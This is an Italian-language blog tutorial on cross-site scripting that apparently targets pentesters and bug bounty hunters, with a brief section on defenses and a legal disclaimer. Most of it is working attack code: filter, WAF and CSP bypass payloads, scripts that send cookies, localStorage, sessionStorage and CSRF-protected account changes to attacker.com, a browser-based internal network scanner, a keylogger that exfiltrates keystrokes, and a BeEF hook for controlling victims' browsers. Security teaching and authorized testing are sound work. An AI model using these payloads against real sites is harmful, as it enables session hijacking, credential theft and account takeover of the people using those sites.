web-hacking

XSS (Cross-Site Scripting): Exploit Web, Payload e Bypass Avanzati

XSS (Cross-Site Scripting): Exploit Web, Payload e Bypass Avanzati

XSS guida pratica a reflected, stored e DOM-based injection: payload avanzati, filter bypass e sfruttamento reale in web application.

  • Pubblicato il 2026-02-05
  • Tempo di lettura: 7 min

Cross-Site Scripting (XSS) è da anni tra le prime tre vulnerabilità nell’OWASP Top 10 — e per una ragione precisa: è ovunque, è sottovalutato, e nelle mani giuste diventa un punto d’ingresso verso compromissioni molto più gravi di quanto ci si aspetti.

Questa guida copre XSS in modo completo: dalla teoria alla weaponization, dai payload base ai bypass avanzati di WAF e CSP. Che tu stia preparando un pentest, un bug bounty o stia studiando per l’OSCP, trovi tutto qui.


Indice #

  1. Cos’è XSS e perché è ancora critico nel 2025
  2. Tipologie di XSS
  3. Setup ambiente di testing
  4. Individuare XSS: metodologia pratica
  5. XSS Payload: dalla base all’avanzato
  6. Cookie Stealing e Session Hijacking
  7. Filter Bypass e WAF Evasion
  8. XSS Weaponization con BeEF
  9. Scenari pratici di exploitation
  10. Difese XSS e come bypassarle
  11. Tool per XSS Automation
  12. FAQ

Cos’è XSS e Perché è Ancora Critico nel 2025 #

XSS permette di iniettare codice JavaScript malevolo in pagine web visualizzate da altri utenti. Il browser della vittima esegue quel codice credendo provenga dal sito legittimo — stesso dominio, stessi permessi, stessa fiducia.

Non è “solo un alert box”. Con un XSS ben piazzato puoi:

  • Rubare cookie di sessione e impersonare qualsiasi utente
  • Esfiltrare localStorage, sessionStorage e dati sensibili
  • Installare keylogger persistenti nel browser
  • Eseguire port scan sulla rete interna della vittima
  • Distribuire malware via drive-by download
  • Concatenare con CSRF per bypassare token protection
  • Usare BeEF per controllare il browser come una sessione C2

L’impatto reale dipende dal contesto: un XSS in un commento pubblico vale meno di un XSS nel pannello admin. Ma entrambi meritano attenzione.

Da link interno: Se vuoi approfondire l’impatto di XSS su applicazioni enterprise, leggi la guida su Burp Suite.


Tipologie di XSS #

Capire la tipologia prima di testare ti risparmia ore di lavoro inutile.

Reflected XSS #

Il payload è nella richiesta HTTP (tipicamente GET) e viene riflesso immediatamente nella response. Non viene salvato. Per sfruttarlo devi convincere la vittima a cliccare un link costruito ad hoc.

Scenario classico: campo di ricerca, parametro URL, messaggio di errore.

text
http://target.com/search?q=<script>alert(document.domain)</script>

→ Approfondimento completo: Reflected XSS

Stored XSS #

Il payload viene salvato nel database e rieseguito ogni volta che quella pagina viene visualizzata. È il tipo più pericoloso: non richiede interazione attiva con la vittima, basta che apra la pagina.

Scenario classico: commenti, bio utente, messaggi privati, ticket di supporto.

→ Approfondimento completo: Stored XSS

DOM-based XSS #

Il server non è coinvolto. Il payload viene processato interamente dal JavaScript client-side che manipola il DOM in modo unsafe. Spesso invisibile agli scanner server-side.

Scenario classico: location.hash, document.referrer, URLSearchParams scritti direttamente in innerHTML.

→ Approfondimento completo: DOM-based XSS

Blind XSS #

Il payload viene eseguito in un’area che non vedi direttamente: pannelli admin, log viewer, sistemi di analytics, ticket interni. Lo scopri solo quando ricevi il callback sul tuo server.

Scenario classico: campo “note” in un form di contatto che l’admin legge internamente.

→ Approfondimento completo: Blind XSS


Setup Ambiente di Testing #

Lab Locale #

bash
# DVWA - Damn Vulnerable Web Application
docker run -d -p 80:80 vulnerables/web-dvwa
# http://localhost → admin / password → Create Database

Imposta il security level su Low per iniziare, poi Medium e High per testare bypass.

Browser #

Usa un browser separato per il testing, mai quello personale:

bash
# Chrome con security disabilitata (solo per lab locale)
google-chrome --disable-web-security --user-data-dir=/tmp/chrome-dev

Installa sempre FoxyProxy + Burp Suite CA certificate per intercettare il traffico.

Tool Essenziali #

bash
# XSStrike - scanner context-aware
git clone https://github.com/s0md3v/XSStrike.git
pip3 install -r requirements.txt

# dalfox - scanner Go-based, velocissimo
go install github.com/hahwul/dalfox/v2@latest

# BeEF - browser exploitation framework
sudo apt install beef-xss

Individuare XSS: Metodologia Pratica #

Prima di sparare payload, capisci dove l’input viene riflesso e in quale contesto.

Surface Attack: Dove Cercare #

Testa tutti i punti di input:

SuperficieEsempioTipo probabile
Form inputsearch, commenti, bioReflected / Stored
URL parameters?q=, ?id=, ?name=Reflected
HTTP HeadersUser-Agent, Referer, X-Forwarded-ForStored (nei log)
File uploadNome file, metadati EXIFStored
JSON/XML APIResponse renderizzata in HTMLDOM-based
Fragment URL#keyword usato da JSDOM-based

Identificare il Context #

Prima di scegliere il payload, ispeziona il DOM con F12 e rispondi a queste domande:

  1. L’input viene riflesso nell’HTML body?
  2. Viene inserito dentro un attributo (value="", href="", src="")?
  3. Viene inserito dentro una stringa JavaScript (var x = 'INPUT')?
  4. Viene inserito dentro un event handler (onclick="INPUT")?

Il context sbagliato = payload che non parte. Il context giusto = XSS confermato in pochi secondi.

Payload di Rilevamento (non eseguono nulla) #

text
<plaintext>
'"<>`
\"><svg/onload=x>

Inietta questi e osserva come vengono riflessi nel sorgente. Se vedi i caratteri speciali non encodati, hai un vettore da sfruttare.


XSS Payload: dalla Base all’Avanzato #

→ Lista completa e categorizzata: XSS Payload List

Payload Base per Proof of Concept #

javascript
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>

Usa sempre alert(document.domain) invece di alert(1) nei pentest reali: dimostra quale dominio è vulnerable.

Payload per Context #

Context: dentro attributo HTML

html
<!-- Pagina -->
<input value="USER_INPUT">

<!-- Payload -->
"><script>alert(1)</script>
" onmouseover="alert(1)

Context: dentro stringa JavaScript

html
<!-- Pagina -->
<script>var q = 'USER_INPUT';</script>

<!-- Payload -->
'; alert(1); //
\'; alert(1); //

Context: dentro event handler

html
<!-- Pagina -->
<div onclick="go('USER_INPUT')">

<!-- Payload -->
'); alert(1); //

Context: href / src attribute

text
javascript:alert(document.domain)

Polyglot Payload #

Funziona in più context contemporaneamente — utile quando non sai esattamente dove sei:

javascript
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e

Exfiltration Base #

javascript
<script>
new Image().src = 'https://attacker.com/log?c=' + document.cookie;
</script>

new Image() è preferibile a fetch() in molti contesti perché non richiede CORS e funziona in modo silenzioso.

Exfiltration Avanzata #

javascript
<script>
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        cookies: document.cookie,
        url: location.href,
        ls: JSON.stringify(localStorage),
        ss: JSON.stringify(sessionStorage),
        dom: document.title
    }),
    headers: {'Content-Type': 'application/json'}
});
</script>

Questo payload esfiltra l’intera superficie dati disponibile nel browser.

Server di Ricezione Rapido #

bash
# Opzione 1: Python puro, vedi tutto nei log
python3 -m http.server 80

# Opzione 2: netcat, minimale
nc -lvnp 80

# Opzione 3: requestbin.com / webhook.site (senza VPS)

HttpOnly: cosa cambia e cosa no #

Cookie con flag HttpOnly non sono accessibili via document.cookie. Questo non rende XSS inutile:

  • Puoi ancora eseguire azioni autenticate per conto della vittima (CSRF via XSS)
  • Puoi installare keylogger e rubare credenziali alla prossima login
  • Puoi esfiltrare dati da localStorage (spesso privo di HttpOnly)

Vedi: CSRF Chain con XSS


Filter Bypass e WAF Evasion #

→ Guida completa: XSS Filter Bypass | XSS WAF Bypass

Filtro blocca <script> #

javascript
// Case variation
<ScRiPt>alert(1)</ScRiPt>

// Tag alternativi
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>
<video src=x onerror=alert(1)>

Filtro blocca alert #

javascript
// Funzioni alternative
<script>confirm(1)</script>
<script>prompt(1)</script>

// Concatenazione
<script>window['al'+'ert'](1)</script>

// Base64
<script>eval(atob('YWxlcnQoMSk='))</script>

// CharCode
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

Filtro blocca le parentesi #

javascript
// Template literals
<script>alert`1`</script>

// throw trick
<script>onerror=alert;throw 1</script>

Filtro blocca gli spazi #

javascript
<img/src=x/onerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>

Encoding multipli (WAF bypass) #

javascript
// URL encoding
%3Cscript%3Ealert(1)%3C%2Fscript%3E

// Double URL encoding
%253Cscript%253E

// HTML entities
&lt;script&gt;alert(1)&lt;/script&gt;

// Unicode
\u003cscript\u003e

XSS Weaponization con BeEF #

BeEF (Browser Exploitation Framework) trasforma un XSS in una sessione di controllo completa sul browser della vittima.

Setup #

bash
sudo apt install beef-xss
beef-xss
# UI: http://127.0.0.1:3000/ui/panel
# Credenziali default: beef / beef (cambia subito)

Hook Payload #

html
<script src="http://TUO-IP:3000/hook.js"></script>

Quando la vittima carica la pagina con questo payload, il browser appare nel pannello BeEF come “hooked”.

Cosa puoi fare con un browser hooked #

Dal pannello BeEF → Commands → seleziona modulo:

ModuloEffetto
Get CookieRecupera cookie (anche senza JS diretto)
Pretty TheftOverlay fake login per phishing
Port ScannerScan rete interna dal browser vittima
Fingerprint BrowserVersione, plugin, OS
Redirect BrowserRedirect su pagina malevola
Create Alert DialogSocial engineering in-page
WebcamAccesso webcam (richiede permesso)
PersistenceMantiene hook dopo navigazione

Persistenza #

BeEF può mantenere l’hook anche se la vittima naviga su altri domini, usando tecniche come iframe nascosti o service workers.


Scenari Pratici di Exploitation #

Scenario 1: Stored XSS → Admin Takeover #

  1. Trovi stored XSS in un campo commento
  2. Inietti payload che ruba cookie solo se appartengono all’admin:
javascript
<script>
if(document.cookie.toLowerCase().includes('admin') || 
   document.cookie.includes('role=1')) {
    fetch('https://attacker.com/log?c=' + document.cookie);
}
</script>
  1. Admin visualizza il commento → Cookie inviato
  2. Usi il cookie in Burp Suite per hijackare la sessione

Scenario 2: XSS → CSRF Chain (bypass token) #

CSRF token ti blocca? Con XSS non serve bypassarlo — lo leggi e lo usi:

javascript
<script>
fetch('/account/settings')
    .then(r => r.text())
    .then(html => {
        const doc = new DOMParser().parseFromString(html, 'text/html');
        const token = doc.querySelector('[name=csrf_token]').value;
        
        return fetch('/change-email', {
            method: 'POST',
            headers: {'Content-Type': 'application/x-www-form-urlencoded'},
            body: 'csrf_token=' + token + '&email=attacker@evil.com'
        });
    })
    .then(() => fetch('https://attacker.com/done'));
</script>

→ Email cambiata, account preso.

Scenario 3: Scan Rete Interna via Browser #

javascript
<script>
const subnet = '192.168.1.';
for(let i = 1; i < 255; i++) {
    const ip = subnet + i;
    const start = Date.now();
    fetch('http://' + ip, {mode: 'no-cors', signal: AbortSignal.timeout(500)})
        .then(() => {
            fetch('https://attacker.com/scan?ip=' + ip + '&ms=' + (Date.now() - start));
        }).catch(() => {});
}
</script>

Il browser della vittima (che è sulla rete interna) scansiona e ti riporta gli host attivi.

Scenario 4: Keylogger Persistente #

javascript
<script>
const log = [];
document.addEventListener('keypress', e => {
    log.push({key: e.key, target: e.target.name || e.target.id});
    if(log.length >= 20) {
        fetch('https://attacker.com/keys', {
            method: 'POST',
            body: JSON.stringify(log)
        });
        log.length = 0;
    }
});
</script>

Accumula 20 tasti, poi invia in batch. Cattura credenziali al prossimo login.


Difese XSS e Come Bypassarle #

Capire le difese ti rende un tester migliore.

Content Security Policy (CSP) #

http
Content-Security-Policy: default-src 'self'; script-src 'self'

Blocca script inline e da domini esterni. Ma ha molti vettori di bypass.

→ Guida specifica: XSS CSP Bypass

CSP con unsafe-inline → Inutile contro XSS, gli script inline passano.

CSP con whitelist CDN → Cerca JSONP endpoint sul CDN whitelistato:

javascript
<script src="https://cdn-whitelistato.com/jsonp?callback=alert"></script>

Output Encoding #

Difesa più efficace: ogni carattere speciale viene convertito in HTML entity prima dell’output.

text
< → &lt;
> → &gt;
" → &quot;
' → &#x27;

Quando vedi caratteri encodati nella reflection, il bypass richiede context-specific tricks.

text
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

Protegge il cookie dalla lettura JS. Non protegge dall’esecuzione di azioni autenticate.


Tool per XSS Automation #

XSStrike — Context-Aware #

bash
python3 xsstrike.py -u "http://target.com/search?q=test"
python3 xsstrike.py -u "http://target.com/search?q=test" --crawl

Analizza il context, genera payload mirati. Ottimo per target con filtri.

dalfox — Velocità #

bash
# Scan singolo URL
dalfox url "http://target.com/search?q=FUZZ"

# Da file con più URL
dalfox file urls.txt --worker 10

# POST
dalfox url "http://target.com/login" -d "user=admin&pass=FUZZ"

Go-based, concorrente, perfetto per scanning massivo.

Workflow Consigliato #

  1. dalfox per sweep veloce su tutti i parametri
  2. XSStrike per analisi approfondita sui punti sospetti
  3. Burp Suite per exploitation manuale e prova d’impatto
  4. BeEF per weaponization e demo a cliente

FAQ #

XSS e CSRF: qual è la differenza?

XSS inietta ed esegue codice nel browser della vittima. CSRF forza il browser a fare richieste non volute. XSS può essere usato per eseguire CSRF bypassando i token.

HttpOnly protegge completamente da XSS?

No. Protegge solo dal furto del cookie via JavaScript. XSS permette ancora: azioni autenticate, keylogging, phishing overlay, network scanning.

XSS può portare a RCE?

Non direttamente, ma la chain esiste: XSS → furto credenziali admin → accesso pannello → upload file → webshell → RCE.

Come trovo XSS velocemente in un pentest?

Usa dalfox su tutti i parametri GET/POST, inietta manualmente nei campi non standard (header HTTP, metadati), usa payload blind XSS Hunter su tutti i form. Poi verifica manualmente con Burp.

XSS funziona su API REST?

Sì, se la response JSON viene renderizzata in HTML senza encoding:

javascript
element.innerHTML = apiResponse.data; // Vulnerabile

Approfondimenti: Articoli Cluster #

Questo pillar copre XSS in modo trasversale. Per ogni tipologia e tecnica specifica:

ArticoloContenuto
Reflected XSSExploitation, URL crafting, delivery via phishing
Stored XSSPersistence, admin targeting, worm propagation
DOM-based XSSSinks, sources, analisi JS client-side
Blind XSSCallback server, XSS Hunter, out-of-band detection
XSS Filter BypassTecniche di evasione filtri server-side
XSS Payload ListLibreria completa payload per context
XSS CSP BypassJSONP, CDN whitelist, nonce bypass
XSS WAF BypassEvasione ModSecurity, Cloudflare, AWS WAF

Disclaimer: Le tecniche descritte in questa guida sono legali esclusivamente su sistemi per cui hai esplicita autorizzazione scritta. L’uso non autorizzato costituisce reato penale (art. 615-ter c.p.). Usa questi strumenti in ambienti di lab, bug bounty autorizzati o nell’ambito di pentest con scope formalmente definito.

#xss #cross site scripting

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.